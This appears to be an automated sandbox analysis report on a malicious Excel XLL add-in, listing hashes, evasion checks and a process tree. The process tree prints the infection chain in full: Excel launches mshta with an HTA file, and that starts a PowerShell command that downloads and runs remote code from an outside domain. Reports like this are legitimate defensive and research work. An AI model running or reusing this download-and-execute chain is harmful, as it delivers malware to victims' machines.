Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 22:12
Static task
static1
Behavioral task
behavioral1
Sample
a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013.xll
Resource
win11-20240508-en
General
-
Target
a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013.xll
-
Size
12KB
-
MD5
cdcce6a8de8c0a870fc158f653c55504
-
SHA1
8598e60cfbdf1cf4bf4f5f8107d67f1406fd405f
-
SHA256
a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013
-
SHA512
1f0b7f5dcc8ef3f078e5722301df4ad2ca4b4e49e589bdfc930d1f62a5dff5762563e4bcfbb69fd08efef45864e938e949a41629bf1a82006548421f692341f7
-
SSDEEP
192:rL29RBzDzeobchBj8JONpON4IXurulrEPEjr7Ahu:X29jnbcvYJOyKIXqulvr7Cu
Malware Config
Extracted
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 956 3116 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 38 3480 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 3116 EXCEL.EXE 3116 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3116 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3480 powershell.exe 3480 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3480 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3116 EXCEL.EXE 3116 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 3116 EXCEL.EXE 3116 EXCEL.EXE 3116 EXCEL.EXE 3116 EXCEL.EXE 3116 EXCEL.EXE 3116 EXCEL.EXE 3116 EXCEL.EXE 3116 EXCEL.EXE 3116 EXCEL.EXE 3116 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 3116 wrote to memory of 956 3116 EXCEL.EXE mshta.exe PID 3116 wrote to memory of 956 3116 EXCEL.EXE mshta.exe PID 3116 wrote to memory of 956 3116 EXCEL.EXE mshta.exe PID 956 wrote to memory of 3480 956 mshta.exe powershell.exe PID 956 wrote to memory of 3480 956 mshta.exe powershell.exe PID 956 wrote to memory of 3480 956 mshta.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3116 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3480
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013.xll
Filesize12KB
MD5cdcce6a8de8c0a870fc158f653c55504
SHA18598e60cfbdf1cf4bf4f5f8107d67f1406fd405f
SHA256a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013
SHA5121f0b7f5dcc8ef3f078e5722301df4ad2ca4b4e49e589bdfc930d1f62a5dff5762563e4bcfbb69fd08efef45864e938e949a41629bf1a82006548421f692341f7